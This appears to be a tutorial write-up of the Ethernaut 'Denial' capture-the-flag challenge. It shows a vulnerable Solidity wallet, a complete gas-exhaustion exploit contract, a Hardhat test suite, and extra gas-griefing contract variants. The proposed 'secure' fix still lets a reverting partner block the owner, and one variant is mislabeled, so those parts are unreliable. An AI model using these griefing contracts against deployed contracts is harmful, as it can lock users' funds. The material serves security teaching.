Skip to content
On this page

Exploiting Gas Limitations: A Deep Dive into the Denial CTF Challenge

Introduction

The Denial challenge from OpenZeppelin's Ethernaut platform presents a fascinating case study in denial-of-service (DoS) attacks within smart contracts. This technical article will explore the vulnerability in detail, examining the contract architecture, the attack vector, and the broader implications for smart contract security. We'll dissect the challenge requirements, analyze the vulnerable code, and walk through the exploit implementation step by step.

Understanding the Challenge

Challenge Overview

The Denial challenge presents a simple wallet contract that distributes funds over time. The contract allows for gradual fund withdrawal through a partnership mechanism, where both a partner and the contract owner receive 1% of the contract balance during each withdrawal. The objective is clear: prevent the owner from withdrawing funds when they call the withdraw() function, while ensuring the contract still has funds and the transaction operates within a 1 million gas limit.

Key Requirements Analysis

  1. Denial of Service: The primary goal is to create a situation where the owner cannot withdraw funds
  2. Contract Must Have Funds: The attack must work while the contract still contains ether
  3. Gas Limitation: The entire transaction must complete within 1 million gas
  4. Target Function: The attack must specifically affect the withdraw() function

Contract Architecture Analysis

Let's examine the vulnerable contract structure in detail:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Denial {
    address public partner; // withdrawal partner - pay the gas, split the withdraw
    address public constant owner = address(0xA9E);
    uint256 timeLastWithdrawn;
    mapping(address => uint256) withdrawPartnerBalances; // keep track of partners balances

    function setWithdrawPartner(address _partner) public {
        partner = _partner;
    }

    // withdraw 1% to recipient and 1% to owner
    function withdraw() public {
        uint256 amountToSend = address(this).balance / 100;
        // perform a call without checking return
        // The recipient can revert, the owner will still get their share
        partner.call{value: amountToSend}("");
        payable(owner).transfer(amountToSend);
        // keep track of last withdrawal time
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }

    // allow deposit of funds
    receive() external payable {}

    // convenience function
    function contractBalance() public view returns (uint256) {
        return address(this).balance;
    }
}

Critical Vulnerability: Unchecked External Call

The vulnerability lies in the withdraw() function, specifically in this line:

solidity
partner.call{value: amountToSend}("");

This external call to the partner address has several critical issues:

  1. No Gas Limitation: The call forwards all remaining gas by default
  2. No Return Value Check: The function doesn't verify if the call succeeded
  3. Execution Order: The partner call executes before the owner transfer

The Attack Vector: Gas Exhaustion

Understanding Ethereum Gas Mechanics

Ethereum transactions have a gas limit that determines how much computational work they can perform. When this limit is exceeded, the transaction reverts with an "out of gas" error. The Denial challenge's 1 million gas constraint is crucial because it creates a bounded environment where gas exhaustion becomes a viable attack vector.

The Partner's Receive Function

When partner.call{value: amountToSend}("") executes, it triggers the partner contract's receive() function (if it has one). This function can perform arbitrary computations, potentially consuming large amounts of gas.

Crafting the Exploit

Attack Strategy

The exploit strategy involves creating a malicious partner contract that consumes all available gas when it receives ether, preventing the subsequent transfer() call to the owner from executing.

The Hack Contract Implementation

Here's the complete exploit contract with detailed explanations:

solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IDenial {
    function partner() external view returns (address);
    function owner() external pure returns (address);
    function setWithdrawPartner(address) external;
    function withdraw() external;
    function contractBalance() external view returns (uint256);
}

contract Hack {
    IDenial private immutable target;
    
    // Constructor sets up the attack by registering as the partner
    constructor(address _target) {
        target = IDenial(_target);
        target.setWithdrawPartner(address(this));
    }
    
    // The malicious receive function that consumes all gas
    receive() external payable {
        // Using inline assembly for precise gas control
        assembly {
            // The invalid() opcode consumes all remaining gas
            // This is more gas-efficient than an infinite loop
            invalid()
        }
    }
}

Key Components of the Exploit

  1. Interface Definition: The IDenial interface provides type-safe access to the target contract's functions
  2. Constructor Automation: The constructor automatically registers the hack contract as the partner
  3. Gas Consumption Mechanism: The receive() function uses the invalid() opcode to consume all remaining gas

Why This Exploit Works

Gas Consumption Analysis

Let's trace the gas consumption during a withdraw() call:

  1. Transaction Start: Caller initiates withdraw() with 1M gas limit
  2. Initial Operations: Contract performs calculations and state updates (minimal gas)
  3. Partner Call: partner.call{value: amountToSend}("") executes
  4. Malicious Receive: Hack contract's receive() triggers
  5. Gas Exhaustion: invalid() opcode consumes all remaining gas
  6. Transaction Reverts: No gas remains for payable(owner).transfer(amountToSend)

The Invalid Opcode Advantage

The invalid() opcode (0xFE) is particularly effective for this attack because:

  1. Maximum Gas Consumption: It uses all remaining gas in the current context
  2. No State Changes: Unlike infinite loops, it doesn't create persistent state changes
  3. Clean Reversion: The entire transaction reverts cleanly

Testing the Exploit

Test Implementation

Here's a comprehensive test suite to verify the exploit:

typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Denial, Hack } from "../typechain-types";

describe("Denial Exploit Test", function () {
  let denial: Denial;
  let hack: Hack;
  let owner: any;
  let attacker: any;
  
  beforeEach(async function () {
    // Get signers
    [owner, attacker] = await ethers.getSigners();
    
    // Deploy Denial contract
    const DenialFactory = await ethers.getContractFactory("Denial");
    denial = await DenialFactory.deploy();
    await denial.waitForDeployment();
    
    // Fund the contract
    await owner.sendTransaction({
      to: await denial.getAddress(),
      value: ethers.parseEther("10")
    });
  });
  
  describe("Initial State", function () {
    it("should have funds", async function () {
      const balance = await denial.contractBalance();
      expect(balance).to.equal(ethers.parseEther("10"));
    });
    
    it("should allow normal withdrawal without partner", async function () {
      // This should work before the attack
      await expect(denial.withdraw()).to.not.be.reverted;
    });
  });
  
  describe("Attack Execution", function () {
    beforeEach(async function () {
      // Deploy and execute the hack
      const HackFactory = await ethers.getContractFactory("Hack");
      hack = await HackFactory.connect(attacker).deploy(await denial.getAddress());
      await hack.waitForDeployment();
    });
    
    it("should set hack contract as partner", async function () {
      const partner = await denial.partner();
      expect(partner).to.equal(await hack.getAddress());
    });
    
    it("should prevent owner withdrawal", async function () {
      // Attempt withdrawal - should fail due to gas exhaustion
      await expect(denial.withdraw()).to.be.reverted;
    });
    
    it("should maintain contract balance after failed withdrawal", async function () {
      const initialBalance = await denial.contractBalance();
      
      // Attempt withdrawal (will fail)
      try {
        await denial.withdraw();
      } catch (error) {
        // Expected to fail
      }
      
      const finalBalance = await denial.contractBalance();
      expect(finalBalance).to.equal(initialBalance);
    });
  });
  
  describe("Gas Limit Verification", function () {
    it("should work within 1M gas limit", async function () {
      // Deploy hack
      const HackFactory = await ethers.getContractFactory("Hack");
      hack = await HackFactory.connect(attacker).deploy(await denial.getAddress());
      await hack.waitForDeployment();
      
      // Test with explicit gas limit
      const tx = await denial.withdraw({ gasLimit: 1000000 });
      const receipt = await tx.wait();
      
      // Verify the transaction failed as expected
      expect(receipt?.status).to.equal(0); // 0 indicates failure
    });
  });
});

Prevention and Mitigation Strategies

Secure Withdrawal Pattern

To prevent this type of attack, implement a secure withdrawal pattern:

solidity
// Secure withdrawal implementation
function secureWithdraw() public {
    uint256 amountToSend = address(this).balance / 100;
    
    // Limit gas for external call
    (bool success, ) = partner.call{value: amountToSend, gas: 30000}("");
    
    // Only proceed if partner call succeeded
    if (success) {
        payable(owner).transfer(amountToSend);
        timeLastWithdrawn = block.timestamp;
        withdrawPartnerBalances[partner] += amountToSend;
    }
}

Additional Security Measures

  1. Gas Stipends: Use transfer() instead of call() for known EOAs
  2. Pull Over Push: Implement a pull payment pattern where recipients withdraw funds themselves
  3. Gas Limit Enforcement: Explicitly limit gas for external calls
  4. State Changes Before External Calls: Perform critical state changes before making external calls

Broader Implications

The Importance of the Checks-Effects-Interactions Pattern

The Denial vulnerability violates the Checks-Effects-Interactions pattern, which recommends:

  1. Checks: Validate all conditions and inputs
  2. Effects: Perform state changes
  3. Interactions: Make external calls last

Real-World Impact

Similar vulnerabilities have caused significant issues in production contracts:

  1. DAO Attack (2016): Reentrancy vulnerability leading to $60M loss
  2. Parity Wallet Hack (2017): Access control vulnerability
  3. Various DeFi Exploits: Gas-related attacks in yield farming protocols

Advanced Attack Variations

Gas Price Manipulation

An alternative attack vector could involve manipulating gas prices:

solidity
contract GasPriceAttack {
    receive() external payable {
        // Consume gas based on block conditions
        while (gasleft() > 50000) {
            // Perform expensive operations
            uint256 x = 0;
            for (uint256 i = 0; i < 100; i++) {
                x += i * block.timestamp;
            }
        }
    }
}

Storage-Based Attack

Another approach uses storage operations to consume gas:

solidity
contract StorageAttack {
    uint256[] private data;
    
    receive() external payable {
        // Repeated storage writes are gas-intensive
        for (uint256 i = 0; i < 100; i++) {
            data.push(block.timestamp);
        }
    }
}

Conclusion

The Denial CTF challenge provides valuable lessons in smart contract security:

  1. External Calls Are Dangerous: Always treat external calls as potentially malicious
  2. Gas Management Is Critical: Understand and control gas consumption in your contracts
  3. Defensive Programming: Implement patterns that minimize attack surfaces
  4. Testing Is Essential: Comprehensive testing should include edge cases and attack scenarios

By understanding and addressing these vulnerabilities, developers can create more secure and resilient smart contracts that withstand sophisticated attacks while maintaining functionality and user trust.

Further Reading and Resources

  1. OpenZeppelin Security Guidelines: Best practices for secure contract development
  2. Ethereum Yellow Paper: Formal specification of the Ethereum protocol
  3. Smart Contract Security Verification Standard: Comprehensive security checklist
  4. Gas Optimization Techniques: Methods for efficient contract execution

This deep dive into the Denial challenge demonstrates that even seemingly simple contracts can harbor critical vulnerabilities. Through careful analysis, secure patterns, and thorough testing, developers can protect their contracts from similar attacks and contribute to a more secure blockchain ecosystem.

Built with AiAda